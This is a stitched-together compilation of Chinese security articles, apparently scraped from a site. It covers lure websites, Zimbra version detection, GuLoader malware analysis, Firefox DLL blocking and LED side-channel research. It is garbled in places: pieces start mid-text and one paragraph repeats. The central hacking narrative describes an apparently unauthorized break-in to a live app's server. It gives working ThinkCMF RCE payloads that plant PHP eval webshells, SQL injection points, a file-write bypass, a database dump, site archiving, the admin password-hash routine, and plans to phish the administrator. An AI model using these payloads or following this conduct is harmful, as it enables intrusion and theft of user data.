在網上搜索Noray諮詢公司時會發現，其主要網站有一個不匹配的域名firstbytecconsulting[.]com。該網站曾是一家專門從事項目管理公司的網站。該域名似乎已於2020年到期，但被購買並重新利用，類似於2020年之前的網站。現在，將這個域名與Noray諮詢公司有關的是，網站上的地址詳細信息與Noray諮詢公司的LinkedIn頁面上的地址信息相匹配：這是一家位於安大略省米爾頓的加拿大公司。聯繫人頁面上有一張顯示公司位置的地圖，但地圖是俄語的。這可能意味著製作這張谷歌地圖的人的主要語言設置為俄語，這對於一家加拿大公司來說及其怪異。

11.png

網站聯繫人頁面地圖截圖

研究人員還發現，他們網站上提到的人很可能是與企業沒有任何關係的人的庫存圖像或人工智能生成的照片，如下圖所示。

12.png

網站團隊成員頁面截圖

進一步調查顯示，上圖中潛藏有許多危險標識：

這些人在互聯網上似乎都沒有真實的人物形象；

反向圖像搜索顯示，這些是在幾個網站上使用的庫存照片圖像；

團隊中的兩名成員擁有相同的職位，即“經理、人力資源流程和薪酬”；

研究人員還觀察到，Noray諮詢公司網站其他部分的文本有部分是從其他網站複製的。這表明，這些攻擊者正試圖讓這些網站變得可信，提供從網上找到的真實公司那裡獲得的看似現實的服務。

Void Rabisu有許多誘餌網站，試圖說服目標下載木馬合法應用程序。這些誘餌網站乍看起來是合法的，但仔細看會有許多奇怪之處。例如，

HireHackking

0x00 前言本文將要介紹Zimbra版本探測的多種方法，通過Python實現自動化，記錄開發細節，開源代碼。

0x01 簡介本文將要介紹以下內容：

實現思路

實現細節

開源代碼

0x02 實現思路查看Zimbra版本的方法有很多，各有優缺點，具體方法如下：

1.通過Web管理頁面通過瀏覽器訪問7071管理頁面，在主頁面會顯示當前Zimbra版本

例如我的測試環境顯示為：

Zimbra Version: 9.0.0_GA_4273.NETWORK

通過該方法獲得的版本為準確版本

2.通過執行命令微信截图_20230303155211.png

2.png

注：

Zimbra補丁更新可參考：

https://wiki.zimbra.com/wiki/Zimbra_Releases/9.0.0/patch_installation

3.通過Zimbra SOAP API默認配置下，zimbraSoapExposeVersion屬性為FLASE，查詢命令：

微信截图_20230303155456.png返回結果：

3.png需要將zimbraSoapExposeVersion屬性設置為TRUE後，可以通過Zimbra SOAP API獲得版本，修改屬性的命令為：

4.png發送的SOAP格式示例：

5.png默認配置下的返回結果：

6.png

4.通過imap協議7.png

5.通過imap over ssl協議8.png

6.通過特定url 9.png

0x03 實現細節綜合以上探測方法，為了適應多種環境，在程序實現上選取了通過imap協議、通過imap over ssl協議和通過特定url三種方法實現

1.通過imap協議完整示例代碼：

10.png 11.png

2.通過imap over ssl協議需要將ip轉為hostname作為參數，示例代碼:

12.png

完整示例代碼：

13.png 14.png

存在部分環境無法將ip轉為hostname，導致報錯：[Errno 11004] host not found，所以在程序判斷邏輯上優先使用imap協議

3.通過特定url完整示例代碼：

15.png 16.png

0x04 開源代碼完整的實現代碼已上傳至github，地址如下：

https://github.com/3gstudent/Homework-of-Python/blob/master/Zimbra_GetVersion.py

代碼首先嘗試通過特定url獲得版本信息，再通過imap協議讀取版本信息，如果失敗，最後通過imap over ssl協議讀取版本信息

0x05 小結本文介紹了Zimbra版本探測的多種方法，比較優缺點，選取有效的方法並通過Python實現自動化，記錄開發細節，開源代碼，作為一個很好的學習示例。

HireHackking

微信截图_20230603211328.png

GuLoader又稱CloudEyE，是一種Visual Basic Script (VBS) 下載程序，用於在受感染的計算機上傳播遠程訪問木馬，最早於2019年被首次發現。 GuLoader是一個著名的基於shellcode的下載程序，已被用於大量攻擊，主要用於傳輸各類惡意軟件。 GuLoader已經活躍了三年多，目前仍在進一步開發中。最新版本集成了新的反分析技術，這使得檢測變得越來越困難。新的GuLoader樣本在VirusTotal上接收零檢測，確保其惡意有效負載也未被檢測到。

GuLoader的有效負載是完全加密的，包括PE標頭。這允許攻擊者使用知名的公共雲服務存儲有效負載，繞過安全保護，並保持有效負載長時間可供下載。

早期版本的GuLoader是作為包含加密shellcode的VB6應用程序實現的。目前，最常見的版本是基於VBScript和NSIS安裝程序。 VBScript變體將shellcode存儲在遠程服務器上。

GuLoader介紹“封裝”和“加密”服務是專門為抵抗安全產品而設計的。 GuLoader是攻擊者用來逃避安全檢測的最重要途徑。

1.png

過去6個月內使用GuLoader的攻擊次數

除了代碼加密之外，GuLoader還利用了許多其他技術，包括反調試和沙盒逃避技術。 GuLoader的一個顯著特徵是加密的有效負載被上傳到遠程服務器。潛在的攻擊者會獲得一個高度保護的基於shellcode的加載程序，該加載程序從遠程服務器下載負載，然後解密並在內存中運行它，而不會將解密的數據釋放到硬盤驅動器中。

儘管谷歌努力阻止GuLoader加密的惡意負載，但在大多數情況下，GuLoader仍然從谷歌硬盤下載負載。下圖顯示了GuLoader在過去一個月使用的不同託管服務的統計數據。

2.png

GuLoader在2023年3月至4月期間使用的不同託管服務

有分析表明，GuLoader目前被用來傳播以下惡意軟件：

Formbook

XLoader

Remcos

404Keylogger

Lokibot

AgentTesla

NanoCore

NetWire

早期的GuLoader樣本設法避免了安全產品的檢測，但後來不同的安全解決方案都能夠檢測到它。然而，在網絡安全供應商不斷提高同時，GuLoader的開發人員也在繼續改進他們的產品。

技術細節GuLoader的早期版本是作為包含加密shellcode的VB6應用程序實現的。 shellcode執行加載加密有效負載、解密和從內存啟動它的主要功能。

目前，最常見的版本是基於VBScript和NSIS安裝程序(Nullsoft Scriptable Install System)。

VBScript變體在2022年底介紹的早期版本中，shellcode存儲在VBScript中。

新版本的一個顯著特點是加密的shellcode託管在雲服務(通常是Google Drive)上。 VBScript本身只包含一個小的混淆的PowerShell腳本和大量的垃圾代碼。這使得GuLoader樣本保持非常低的檢測率。

以下是使用GuLoader的VBS變體的感染鏈示例：

3.png

使用GuLoader的VBS變體的感染鏈

讓我們考慮一個SHA256 5fcfdf0e241a0347f9ff9caa897649e7fe8f25757b39c61afddbe288202696d5的示例。在2023年3月3日上傳到VirusTotal (VT)時，它從未被檢測到：

4.png

上傳兩天后，59家供應商中只有17家將此樣本標記為惡意樣本。

在撰寫本文時，指定的樣本上傳到VT已有3週，下載GuLoader shellcode和下載惡意負載(Remcos)的url仍然很活躍：

5.png

讓我們來看看GuLoader VBScript的內部。它包含許多偽隨機註釋和一些無用的命令。清理之後，我們得到的代碼是這樣的：

6.png

清理過的GuLoader vbscript

這段代碼的目的是調用PowerShell解釋器，並將“pa0”變量中收集的腳本代碼作為參數傳遞給它。

如果我們在添加省略和連字符後查看“pa0”變量的內容，我們會得到以下腳本：

7.png

GuLoader混淆了PowerShell腳本

我們看到這個新腳本包含函數“Gothites9”，它實現了從第二個字符開始以3的步長剪切傳遞的字符串。因此，命令“$Tjene0=Gothites9'OIUlEDiXSa'；”的結果是“IEX”。

字符串$Parrotb以相同的方式轉換。從位置2開始，從該字符串中每隔三個字符獲取一個字符串，該字符串是另一個PowerShell腳本：

8.png

刪除第一層混淆後的GuLoader PowerShell腳本

該腳本可以通過使用IEX命令(如果操作系統是32位)調用，也可以作為參數傳遞給從SysWOW64文件夾調用的PowerShell解釋器(如果操作系統是64位)。這是因為GuLoader shellcode必須在32位進程中運行。

可以看到，腳本代碼包含指向Google Drive的URL。

但是，生成的腳本仍然嚴重混淆。腳本以一個用於解碼字符串的函數開始：

9.png

GuLoader PowerShell腳本中的編碼字符串

有趣的是，嵌套腳本中的所有行都以編碼形式存儲，除了包含URL的行。

腳本去混淆後，我們得到以下代碼：

10.png

GuLoader PowerShell腳本去混淆

現在我們可以看到，腳本分配了2個內存區域，將數據從鏈接下載到Google Drive，並將其保存到臨時文件“%APPDATA%\Umig.For”中。接下來，使用BASE64對下載文件的內容進行解碼。解碼數據的前654個字節被釋放在第一個存儲區域（本例中為“$Gamme2483”），其餘的被釋放在第二個存儲區域中（本例為“$Nulstille”）。前654個字節包含一個混淆的shellcode，它旨在解密第二個複制區域，其中包含加密形式的shellcode的主要部分。

通過使用CallWindowsProc回調函數將控制權轉移到解密器，該函數還接收加密shellcode的地址和NtProtectVirtualMemory函數的地址作為參數。

基於NSIS安裝程序的變體與VBS變體不同，基於NSIS的樣本包含GuLoader shellcode，儘管是以加密的形式。這允許安全研究人員在沙盒中運行示例並查看GuLoader的行為，即使沙盒沒有連接到互聯網。靜態分析NSIS腳本和加密shellcode也是可能的。

在上傳到VirusTotal後，此類樣本現在可以被檢測到。

11.png

基於NSIS安裝程序的GuLoader變體的檢測率

我們不會詳細描述這種變體，因為在GuLoader: The NSIS Vantage Point一文中已經對其進行了分析。

GuLoader shellcodeNSIS和VBS變體都使用相同版本的shellcode。與以前的GuLoader版本一樣，shellcode實現了大量的反分析技術：

沙盒逃避技術包括：

掃描內存中與vm相關的字符串；

使用CPUID指令檢查虛擬化環境位是否開啟；

使用RDTSC結合CPUID測量時間；

搜索QEMU相關文件：C:\Program files\QEMU ga\QEMU-ga.exe和C:\Program files\qga\qga.exe；

使用EnumWindows API函數統計Windows的數量；

使用EnumDeviceDrivers API函數檢查是否存在與vm相關的驅動程序；

使用MsiEnumProductsA和MsiGetProductInfoA枚舉已安裝的軟件；

反調試技術：

掛鉤函數DbgBreakPoint和DbgUiRemoveBreakIn，以防止調試器附加；

從使用ThreadHideFromDebugger調用NtSetInformationThread函數的調試器中隱藏主線程ThreadInformation類值；

了解了GuLoader shellcode所使用的技術，在動態分析過程中使用調試器可以很容易地繞過它們。然而，在新版本中，我們遇到了一種使調試和靜態分析都非常困難的技術。

一種新的反分析技術從2022年底開始，GuLoader shellcode使用了一種新的反分析技術，它通過故意拋出大量異常並在將控制權轉移到動態計算地址的向量異常處理程序中處理它們來打破代碼執行的正常流程。

為了拋出異常，代碼使用int3指令。可以實現一個腳本，將int3指令自動替換為跳轉到正確地址的指令：

12.png

用jmp指令替換int3指令

該技術在《恶意软件分析：GuLoader剖析揭示新的反分析技术和代码注入冗余》 一文中首次被公開。然而，在新版本中，這項技術得到了改進。 shellcode開始使用三種不同的模式來拋出異常併中斷正常的代碼執行流程。

訪問無效內存地址導致訪問衝突

這種模式非常簡單。首先，作為數學運算的結果，其中一個寄存器被設置為零值。然後shellcode嘗試將數據寫入由該寄存器尋址的內存：

13.png

訪問無效內存地址引發訪問違規異常

導致訪問違規異常(0xC0000005)。該異常在GuLoader中由註冊的VEH處理，該VEH計算新地址以繼續執行shellcode。所使用的數字和導致計算零值的數學運算總是不同的。

設置陷阱標誌以引發單步異常GuLoader使用以下指令組合來設置EFALGS寄存器中的TF：

14.png

設置陷阱標誌以引發單步異常

乍一看，這段代碼中發生了什麼並不清楚。然而，如果我們計算寄存器EDI中的值，則得到值0x100。接下來的幾個指令的組合旨在推動EFLAGS並將TF (陷阱標誌)位設置為“1”。然後，將堆棧中修改後的值設置回EFLAGS寄存器。

當在EFLAGS寄存器中設置了Trap標誌但未附加調試器時，處理器會在執行下一條指令後生成單步異常（0x80000004）。在GuLoader中，註冊的VEH在這種情況下被調用。但是，如果附加了調試器，則不會調用GuLoader的VEH，並且執行路徑錯誤。

GuLoader shellcode中的代碼塊總是不同的，可以使用寄存器的各種組合。在無效內存地址的情況下，使用的數字和導致在EFLAGS寄存器中計算值0x100來設置TF的數學運算總是不同的。

使用int3引發斷點異常使用int3作為指令進行反分析技術已經在以前版本的GuLoader中實現。然而，它仍然被用於GuLoadershellcode的各個部分。當CPU在沒有調試器的情況下遇到int3指令時，它會生成斷點異常（0x80000003），並調用已註冊的VEH。但是，如果附加了調試器，則控制將轉移到調試器的中斷處理程序，該中斷處理程序通常會暫停程序的執行。 int3指令後面通常是隨機字節，這些字節會破壞shellcode的正常執行：

15.png

使用int3引發斷點異常

因此，如果不分析GuLoader VEH的代碼，我們就無法確定正確的執行路徑。

異常處理程序為了在出現3個指定異常的情況下計算新的跳轉地址，並將程序引導到新的執行路徑，GuLoader使用RtlAddVectoredExceptionHandler函數註冊向量異常處理程序（VEH）。

為了了解跳轉地址是如何計算的，讓我們看一下VEH代碼。

與代碼的其他部分一樣，VEH代碼也被混淆了。它包含垃圾指令，並且使用XOR運算動態計算重要值：

16.png

混淆的VEH代碼

然而，在IDA中反編譯之後，這段代碼看起來非常簡單：

17.png

反編譯的VEH代碼

如上所述，根據異常代碼的不同，VEH操作略有不同。在異常0x80000004 (EXCEPTION_SIGNLE_STEP)和0xC0000005 (EXCEPTION_ACCESS_VIOLATION)的情況下，它從發生異常的指令中獲取偏移量2處的字節值，並將該字節與某個常數值進行XOR（本例中為0x8B）。在異常0x80000003 (EXCEPTION_BREAKPOINT)的情況下，將獲取偏移量1處的字節，並使用常量進行XOR運算。需要注意的是，指定的常數在所有樣品中都是不同的。然後將得到的值添加到異常上下文中的EIP值中。因此，當退出異常處理程序時，控制權將轉移到新地址。

在所有情況下，異常處理程序還會檢查調試寄存器的狀態：

18.png

檢查VEH中的調試寄存器

如果設置了任何硬件斷點，異常處理程序將引用零地址而不是ContextRecord地址。這最終會導致應用程序崩潰。

在EXCEPTION_BREAKPOINT的情況下，異常處理程序還在舊EIP和計算出的新EIP值之間的地址空間中查找軟件斷點。

儘管可以使用各種各樣的代碼組合來觸發異常處理程序的執行，但它們都遵循3種模式，我們可以實現一個正則表達式來查找其中的大多數。不過，我們期望GuLoader開發人員在新版本中改變模式。

要修復一條引發異常的指令，並將其替換為跳轉到x32dbg中的正確地址，可以使用以下腳本(必須將0x8B替換為分析示例中的常量值)：

19.png

URL解密

所有字符串，包括下載最終有效負載的URL，都被加密並以特定形式存儲在shellcode中：

20.png

對於上面的示例，我們去混淆了代碼，清除了垃圾指令和跳轉。實際上，代碼中包含大量的垃圾和無效指令。為了幫助理解混淆的複雜性，這是與前面的示例相對應的原始代碼的一部分：

21.png

在嚴重混淆的GuLoader shellcode中合成加密字符串

與字符串不同，解密密鑰存儲為解密函數後面的常規字節序列：

22.png

字符串解密XOR密鑰

這個密鑰通常不是很長，最多64字節。

使用帶有解密密鑰的XOR運算對字符串進行解密。解密字符串後，我們可以找到一個看起來像URL但沒有架構的字符串：

23.png

很明顯，GuLoader的開發者已經發現了安全研究人員知道了其在已知明文攻擊中使用字符串“http://”或“https://”解密以前版本shellcode中的url的方法，以檢測解密密鑰的第一個字節。因此，在新版本中，他們用隨機字節替換了URL方案。

如果解密後的URL字符串的第5個字節等於“s”，則GuLoader將前8個字節替換為“https://”。否則，它將用“http://”替換前7個字節。

以下是從不同示例中提取的更多URL字符串的示例：

24.png

有效負載解密

有效負載解密密鑰也以與加密字符串相同的方式存儲，但是該密鑰沒有被加密。密鑰長度通常在800-900字節的範圍內。

例如，在MD5 40b9ca22013d02303d49d8f922ac2739的示例中，密鑰的長度為844字節。然而，另一個長度用於解密例程，並以混淆形式存儲：

25.png

用於解密有效負載的密鑰長度與密鑰存儲的長度不同

GuLoader使用不同的大小，而不是與密鑰一起存儲的大小，來欺騙自動分析。如果我們不考慮這一點，我們只能解密下載有效負載的前843字節，其餘的數據將被破壞。

與以前

HireHackking

在Windows上，第三方產品有多種方式將其代碼注入其他正在運行的進程。這樣做的原因有很多，最常見的是殺毒軟件、硬件驅動程序、屏幕閱讀器和銀行的需要，當然惡意軟件也會趁機而入。

將第三方產品的DLL注入Firefox進程是非常常見的，超過70%的Windows用戶至少有一個這樣的DLL！需要明確的是，這意味著沒有經過Mozilla或操作系統部分數字簽名的任何DLL。

大多數用戶不在Windows上，第三方產品有多種方式將其代碼注入其他正在運行的進程。這樣做的原因有很多，最常見的是殺毒軟件、硬件驅動程序、屏幕閱讀器和銀行的需要，當然惡意軟件也會趁機而入。

將第三方產品的DLL注入Firefox進程是非常常見的，超過70%的Windows用戶至少有一個這樣的DLL！需要明確的是，這意味著沒有經過Mozilla或操作系統部分數字簽名的任何DLL。

大多數用戶不知道DLL何時被注入Firefox，因為大多數時候除了檢查about:third-party page.之外，沒有明顯的跡象表明正在發生這種情況。

不過，將DLL注入Firefox可能會導致性能、安全性或穩定性問題。原因如下：

1.DLL通常會掛鉤到Firefox的內部函數中，這些函數會隨著版本的不同而變化。所以，第三方產品的發行商必須努力使用新版本的Firefox進行測試，以避免穩定性問題。

2.Firefox作為一種網絡瀏覽器，可以從不受信任和潛在的惡意網站加載並運行代碼。所以，安全研究人員需要付出很多努力來保護Firefox的安全，第三方產品可能對安全性沒有這麼關注。

3.研究人員在Firefox上運行了大量的測試，第三方產品可能不會測試到這種程度，因為它們可能不是專門為配合Firefox而設計的。

事實上，我們的數據顯示，在所有Windows上的Firefox崩潰報告中，只有2%以上是第三方代碼造成的。儘管Firefox已經阻止了許多已知會導致崩潰的特定第三方DLL，但情況依然如此。

這也低估了由第三方DLL間接引起的崩潰，因為研究人員的指標只在調用堆棧中直接查找第三方DLL。此外，第三方DLL在啟動時更容易導致崩潰，這對用戶來說要嚴重得多。

Firefox有第三方注入策略，只要有可能，我們建議第三方使用擴展來集成到Firefox中，因為這是官方支持的，而且更穩定。

為什麼不在默認情況下阻止所有DLL注入？為了獲得最大的穩定性和性能，Firefox可以嘗試阻止所有第三方DLL注入其進程。然而，這會破壞一些有用的產品，比如用戶希望能夠與Firefox一起使用的屏幕閱讀器。這在技術上也很有挑戰性，不可能阻止每個第三方DLL，尤其是使用比Firefox更高權限運行的第三方產品。

自2010年以來，Mozilla已經能夠為Firefox的所有Windows用戶屏蔽特定的第三方DLL。這樣做只是作為最後的手段，在嘗試與供應商溝通以解決潛在問題後，研究人員會盡可能嚴格地進行調整，以使Firefox用戶不再崩潰。目前研究人員只能阻止特定版本的DLL，並且只能在特定的Firefox進程中阻止它。這是一個有用的工具，但只有當特定的第三方DLL導致大量崩潰時，研究人員才會考慮使用它，這樣它就會出現在Firefox崩潰列表中。

即使我們知道第三方DLL會導致Firefox崩潰，但有時DLL提供的功能對用戶來說是必不可少的，用戶不希望安全人員代表他們阻止DLL。如果用戶的銀行或當地政府需要一些軟件來訪問他們的賬戶或報稅，我們屏蔽它不會給他們帶來任何好處，即使屏蔽它會使Firefox更加穩定。

賦予用戶阻止注入DLL的權限在Firefox 110中，用戶可以阻止第三方dll加載到Firefox中。這可以在about:third-party上完成，該頁面已經列出了所有加載的第三方模塊。 about:third-party還顯示了哪些第三方DLL與之前的Firefox崩潰有關，還有就是DLL發布者的信息也會顯示，希望這能讓用戶在知情的情況下決定是否阻止DLL。下面是一個最近導致Firefox崩潰的DLL示例，點擊帶有破折號的按鈕將阻止它：

1.png

以下是阻止DLL並重新啟動Firefox後的情況：

2.png

如果阻止DLL導致問題，在故障排除模式下啟動Firefox將禁用該運行的Firefox的所有第三方DLL阻止，並且可以像往常一樣在about:third-party上阻止或取消阻止DLL。

工作原理阻止DLL加載到進程中是一項棘手的業務，為了檢測加載到Firefox進程中的所有DLL，必須在啟動過程中儘早設置阻止列表。為此，使用啟動進程，它創建處於掛起狀態的主瀏覽器進程。然後，它設置任何沙盒策略，從磁盤加載阻止列表文件，並在啟動該進程之前將條目複製到瀏覽器進程中。

複製是以一種有趣的方式完成的，啟動程序進程使用CreateFileMapping()創建一個操作系統支持的文件映射對象，在用塊列表條目填充後，複製句柄並使用WriteProcessMemory()將句柄值寫入瀏覽器進程。具有諷刺意味的是，WriteProcessMemory()經常被用作第三方DLL將自己注入其他進程的一種方式，這裡我們使用它在已知位置設置一個變量，因為啟動器進程和瀏覽器進程是從同一個.exe文件運行的！

因為所有的事情都發生在啟動的早期，在加載Firefox配置文件之前，被阻止的dll列表是按Windows用戶而不是按Firefox配置文件存儲的。具體來說，文件位於%AppData%\Mozilla\Firefox中，文件名格式為blocklist-{install hash}，其中install hash是Firefox磁盤上位置的哈希值。這是一種簡單的方法，可以將不同Firefox安裝的阻止列表分開。

檢測並阻止加載DLL為了檢測DLL何時試圖加載，Firefox使用了一種稱為函數攔截或掛鉤的技術。這會修改內存中的現有函數，以便在現有函數開始執行之前可以調用另一個函數。之所以如此，原因有很多，它允許更改函數的行為，即使函數不是為了允許更改而設計的。 Microsoft Detours是一種常用於攔截函數的工具。

在Firefox中，研究人員感興趣的函數是NtMapViewOfSection()，每當加載DLL時都會調用它。我們的目標是在發生這種情況時得到通知，這樣我們就可以檢查阻止列表，並禁止加載DLL（如果它在阻止列表上）。

為此，Firefox使用一個自定義的函數攔截器來攔截對NtMapViewOfSection()的調用，並返回如果DLL在阻止列表上則映射失敗的消息。為此，攔截器嘗試了兩種不同的技術：

在32位x86平台上，從DLL導出的一些函數將以一條不執行任何操作的兩字節指令（mov edi, edi）開始，並且在此（nop或int 3）之前有五條未使用的一字節指令，例如：

3.png

如果攔截器檢測到這種情況，它可以將未使用指令的五個字節替換為要調用的函數地址的jmp。由於研究人員是在32位平台上，因此只需要一個字節來指示跳轉，四個字節來表示地址，因此：

4.png

當修復的函數想要調用未修復版本的DLLFunction()時，它只需跳過DLLFunction()地址2個字節即可啟動實際的函數代碼

否則，事情會變得更加複雜。以x64的情況為例。跳轉到已修復函數的指令需要13個字節：10個字節用於將地址加載到寄存器中，3個字節用於跳轉到該寄存器的位置。因此，攔截器需要將至少前13字節的指令移動到一個蹦床函數中，如果需要的話，還要加上完成最後一條指令所需的足夠的字節。之所以被稱為蹦床，因為通常代碼會跳轉到那裡，這會導致一些指令運行，然後跳轉到目標函數的其餘部分。讓我們看看一個真實的示例，下面是我們要截取的一個簡單函數，首先是C源代碼（Godbolt編譯器資源管理器鏈接）：

5.png

以上是用-O3編譯的，所以它有點密集：

6.png

現在，從fn()開始計算13個字節將我們置於lea eax,[rdi+rdi*2]指令的中間，因此我們必須將所有內容複製到蹦床上。

最終結果如下所示：

7.png

如果Firefox 修復函數想要調用未修復的fn()，那麼修復程序已經存儲了蹦床的地址（在本例中為0x3000000）。在C++代碼中，我們將其封裝在FuncHook類中，修復後的函數可以使用與普通函數調用相同的語法來調用蹦床。

整個過程比第一種情況要復雜得多，你可以看到第一個示例的修復只有200行左右，而處理這個示例的修復有1700多行，不過有些注意事項要注意：

1.並非所有轉移到蹦床上的指令都必須保持完全相同，一個示例是跳轉到一個沒有移動到蹦床的相對地址，由於指令已經在內存中移動了，修復程序需要用絕對跳躍來代替它。修復程序並不能處理所有類型的x64指令，否則它必須更長！但研究人員已經進行了自動化測試，以確保能夠成功攔截所知道Firefox需要的Windows函數。

2.研究人員專門使用了r11來加載修復函數的地址，因為根據x64調用約定，r11是一個不需要被調用方保存的易失性寄存器。

3.由於我們使用jmp從fn()返回到修復函數，而不是ret，並且類似地從蹦床返回到fn()的主代碼，這使代碼堆棧保持中立。因此，調用其他函數和從fn()返回都可以正確地處理堆棧的位置。

4.如果從fn()的後面跳轉到前13個字節，這些字節現在將跳轉到修復函數的中間，肯定會發生問題。幸運的是，這是非常罕見的。大多數函數在開始時都在進行函數序言操作，所以對於Firefox攔截的函數來說，這不是問題。

5.類似地，在某些情況下，fn()在前13個字節中存儲了一些數據，這些數據將被後面的指令使用，將這些數據移動到蹦床將導致後面的指令獲得錯誤的數據。我們已經遇到了這個問題，如果我們可以在前2GB的地址空間內為蹦床分配空間，那麼可以通過使用較短的mov指令來解決這個問題。這將導致10字節的修復而不是13字節的修復，在許多情況下，這足以避免問題。

其他一些需要注意的複雜情況：

6.Firefox也有一種跨進程攔截的方法；

7.對於Control Flow Guard安全措施來說，蹦床很棘手：由於它們是合法的間接調用目標，在編譯時不存在，所以需要特別注意允許Firefox修復過的函數調用它們；

8.蹦床還包括一些額外的異常處理；

9.如果DLL在阻止列表中，我們的修復版本NtMapViewOfSection()將返回映射失敗，這將導致整個DLL加載失敗。這不會阻止所有類型的注入，但它確實阻止了大多數注入；

一些DLL將通過修改firefox.exe的導入地址表來自我注入，該表是firefox.exe調用的外部函數的列表。如果其中一個函數加載失敗，Windows將終止Firefox進程。因此，如果Firefox檢測到這種注入並想要阻止DLL，我們將把DLL的DllMain()重定向到一個什麼都不做的函數。

總結希望讀者在閱讀本文後，可以讓Firefox用戶更加安全地訪問互聯網。用戶大可不必在卸載有用的第三方產品和Firefox的穩定性問題之間做出選擇，現在用戶有了第三種選擇，即保留第三方的產品並阻止其註入Firefox！

HireHackking

在一个风和日丽的晚上,正兴奋逛Twitter的我,忽然发现下面推荐关注有这么一个xxxx视频的名片。

图片
这这这这，我可是正经人，不知道Twitter为啥会给我推送这些。这必须盘他,打开推广链接，辣眼睛，下载该app。

图片

这app一打开就给人一股熟悉的味道，一看感觉很有可能是tp二开的。

图片

注册手机号fiddler抓包改包，其实内容更辣眼睛

图片


抓包获取url发现这不就是thinkcmf吗?满脸淫笑的想这还不拿下，前台那么多rce，就算有狗也能秒之,然而很快被现实打脸。

命令执行POC:
payload1：

/index.php?g=api&m=Oauth&a=fetch&content=<php>file_put_contents('pass.php','<?php @eval($_POST[1]); ?>')</php>

图片

payload2：

/?a=fetch&;templateFile=public/index&prefix=''&content=<php>file_put_contents('pass.php','<?php  @eval($_POST[1]); ?>')</php>

图片


payload3：

?a=display&templateFile=%3C?php%20file_put_contents(%27m.php%27,%27%3C%3fphp+eval($_POST[%22X%22])%3b%3F%3E%27);die();?%3E

然后任意文件读取：

/?a=display&templateFile=data/runtime/Logs/Portal/YY_MM_DD.log

最后在目录下会生成一个m.php一句话木马文件，当然也可以写成其他的payload。

图片

一顿操作猛如虎，一看文件404，难道就要凉凉了？

图片

不怕，另外该APP，还有SQL注入:
注入点1：

/index.php?g=Appapi&m=Video&videoid=1

图片

注入点2：

/index.php?g=Appapi&m=Auth&a=index&uid=128889&token=b69cda34dff2fa978a94b5583e7f5c9a

图片

图片

注入也凉凉，看来我这是要我掏出0day的节奏？算了还是忍忍吧。经过一番鼓捣研究，细节就不贴了，此处省略千字。说多了都是泪........
最后终于出了phpinfo，版本7.2以上
payload：

/?a=fetch&content=<?=phpinfo();exit();

这不离shell更近一步了，然后看disable_functions禁用这么求多。

图片

这里尝试了使用assert函数写入，以为成了，结果还是返回1

图片

@assert函数不行，这里就可以尝试读取文件file_get_contents，读取数据库配置文件

图片

在继续读取config.php文件时，突然想起之前下载app的时候是放在阿里云oss里面的，按理说他的配置文件里面应该有阿里云key和id，但现实终究是那么残酷，连aliyun这几个字母都没看到。

图片

读取一些配置文件没有东西，数据库和redis不可外连，于是就准备写个shell上去在仔细翻下，尝试用file_put_contents读取文件。

图片


好像不行，难道是参数问题，file_get_contents都能读任意文件，或者是目录不可写？尝试写在/tmp/1.txt也是同样的报错，想到php还要其他写文件的函数，于是w3school翻了下

图片

写入123到i.txt，成功写入文件

图片

图片

尝试写入php一句话，提示模板不存在，该怎么办？眼看shell到手了。仔细看fwrite参数 ，w+是打开写入，r+是追加，难道我要一个字符一个字符写入？没错，就是要一个字符一个字符写入。
?a=fetch&content=%3C?=@$fp=fopen(%221.php%22,%27a+%27);%20fwrite($fp,%27<%27);exit();

图片


最终可getshell

图片

绕过命令执行，反弹shell

图片

然后打包+脱裤

 mysqldump -h127.0.0.1 -uxxxx -pxxxx xxx >xxx.sql
tar -cvf 1.tar /www/wwwroot/xxx/

图片

以为这就完了 ？no，看了端口链接以及登陆ip还有搞头，后续待我钓到管理员pc，出续集，另外cmf密码默认加密

<?php
function setPass($pass)
{        
    $authcode = 'rCt52pF2cnnKNB3Hkp';
    $pass = "###" . md5(md5($authcode . $pass));
    return $pass;
}
echo setPass('123456')
?>

进后台的话，明文加密替管理员密文，或者加密明文去撞。


转载于原文链接： https://mp.weixin.qq.com/s/1gI8LC_FBFWG_ar3j1dZJw


HireHackking

通過使用iPhone 或商業監控系統中的攝像頭來恢復存儲在智能卡和智能手機中的加密密鑰，以視頻記錄顯示讀卡器或智能手機何時打開的電源LED。通過仔細監控功耗、聲音、電磁輻射或操作發生所需時間等特性，攻擊者可以收集足夠的信息來恢復支持加密算法安全性和機密性的密鑰。如今，黑客可以通過近20米外的視頻錄製電源LED竊取加密密鑰。

1.png

左圖是智能卡讀卡器正在處理插入智能卡的加密密鑰，右圖是一個監控攝像頭從近20米外的地方記錄下讀取器的電源LED

研究人員最近發現了一種新的攻擊方法，通過使用iphone或商業監控系統中的攝像頭，記錄下讀卡器或智能手機打開時顯示的電源LED，可以恢復存儲在智能卡和智能手機中的秘密加密密鑰。

這些攻擊提供了一種利用兩個先前披露的側信道的新方法，側信道攻擊(side channel attack 簡稱SCA)，又稱側信道攻擊，核心思想是通過加密軟件或硬件運行時產生的各種洩漏信息獲取密文信息。在狹義上講，側信道攻擊特指針對密碼算法的非侵入式攻擊，通過加密電子設備在運行過程中的側信道信息洩露破解密碼算法，狹義的側信道攻擊主要包括針對密碼算法的計時攻擊、能量分析攻擊、電磁分析攻擊等，這類新型攻擊的有效性遠高於密碼分析的數學方法，因此給密碼設備帶來了嚴重的威脅。在本例中，通過仔細監控功耗、聲音、電磁發射或操作發生所需的時間等特徵，攻擊者可以收集足夠的信息來恢復支撐加密算法安全性和機密性的密鑰。

側信道開發過程最近發現的側信道分別是Minerva和Hertzbleed，分別於2019年和2022年被發現。 Minerva能夠通過在一個稱為標量乘法的加密過程中測量時序模式來恢復美國政府批准的智能卡的256位密鑰。 Hertzbleed允許攻擊者通過測量英特爾或AMD CPU執行某些操作的功耗來恢復後量子SIKE加密算法使用的私鑰。考慮到一個使用時間測量，另一個使用電源測量，Minerva被稱為定時側信道，而Hertzbleed可以被視為電源側信道。

研究人員最近公佈了一項新研究，展示了一種利用這些側信道的新方法。第一種攻擊使用連接互聯網的監控攝像頭在加密操作期間拍攝智能卡讀卡器上電源LED或連接的外圍設備的高速視頻。這項技術使研究人員能夠從Minerva使用的同一張政府批准的智能卡上提取256位ECDSA密鑰。另一種方法使研究人員能夠通過在連接到手機的USB揚聲器的電源LED上訓練iPhone 13的攝像頭來恢復三星Galaxy S8手機的專用SIKE密鑰，類似於Hertzbleed從英特爾和AMD CPU上獲取SIKE密鑰的方式。

電源led用於指示設備何時打開，它們通常會發出藍色或紫色的光，亮度和顏色會根據所連接設備的功耗而變化。

